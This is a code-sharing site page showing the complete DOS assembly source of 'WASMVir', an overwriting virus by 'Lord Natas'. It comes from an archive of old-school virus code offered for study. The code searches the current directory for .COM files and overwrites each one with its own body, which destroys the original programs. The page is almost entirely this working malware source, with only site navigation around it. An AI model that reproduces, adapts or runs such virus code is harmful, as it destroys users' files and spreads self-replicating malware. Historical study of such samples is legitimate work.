⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 wasmvir.asm

📁 More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
💻 ASM
字号:
;WASMVir --> A lame overwriting virus to demonstrate WASM
;Overwrites all files in the current directory
;By Lord Natas

		org	100h

Start
		mov	ah,4eh
		mov	cx,7
		mov	dx,offset FileSpec
Virus

;----- find file

		int	21h
		jc	EndV

;----- open file

		mov	ax,3d01h
		mov	dx,9eh
		int	21h
		jc	Close

		xchg	bx,ax

;----- write file

		mov	ah,40h
		mov	cl,Length
		mov	dx,offset Start
		int	21h

Close

;----- close file

		mov	ah,3eh
		int	21h

		mov	ah,4fh
		jmps	Virus

EndV
		db	00C3h			;"RET"

;----- data

		db	'WASMVir'

FileSpec	db	'*.COM',0

TheEnd
Length	equ offset TheEnd - offset Start

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -